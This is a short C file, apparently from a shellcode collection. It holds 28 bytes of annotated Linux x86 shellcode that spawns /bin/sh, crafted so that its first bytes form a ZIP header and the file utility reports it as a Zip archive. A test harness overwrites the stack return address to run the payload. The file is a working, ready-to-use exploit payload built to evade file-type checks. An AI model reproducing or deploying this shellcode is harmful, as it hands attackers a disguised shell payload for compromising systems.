shellcode-223.c

/*
 * (linux/x86) - execve("/bin/sh", ["/bin/sh", NULL]) + ZIP Header - 28 bytes
 *
 * root@magicbox:~# file linux-sh-ziphdr.bin
 * linux-sh-ziphdr.bin: Zip archive data
 *
 * - izik <izik@tty64.org>
 */

char shellcode[] =

        //
        // ZIP Header (5 bytes)
        //

        "\x50"                  // push %eax
        "\x4b"                  // dec %ebx
        "\x03\x04\x24"          // add (%esp),%eax

        //
        // execve("/bin/sh", ["/bin/sh", NULL]);
        //

        "\x6a\x0b"              // push $0xb
        "\x58"                  // pop %eax
        "\x99"                  // cltd
        "\x52"                  // push %edx
        "\x68\x2f\x2f\x73\x68"  // push $0x68732f2f
        "\x68\x2f\x62\x69\x6e"  // push $0x6e69622f
        "\x89\xe3"              // mov %esp,%ebx
        "\x52"                  // push %edx
        "\x53"                  // push %ebx
        "\x89\xe1"              // mov %esp,%ecx
        "\xcd\x80";             // int $0x80

int main(int argc, char **argv) {
        int *ret;
        ret = (int *)&ret + 2;
        (*ret) = (int) shellcode;
}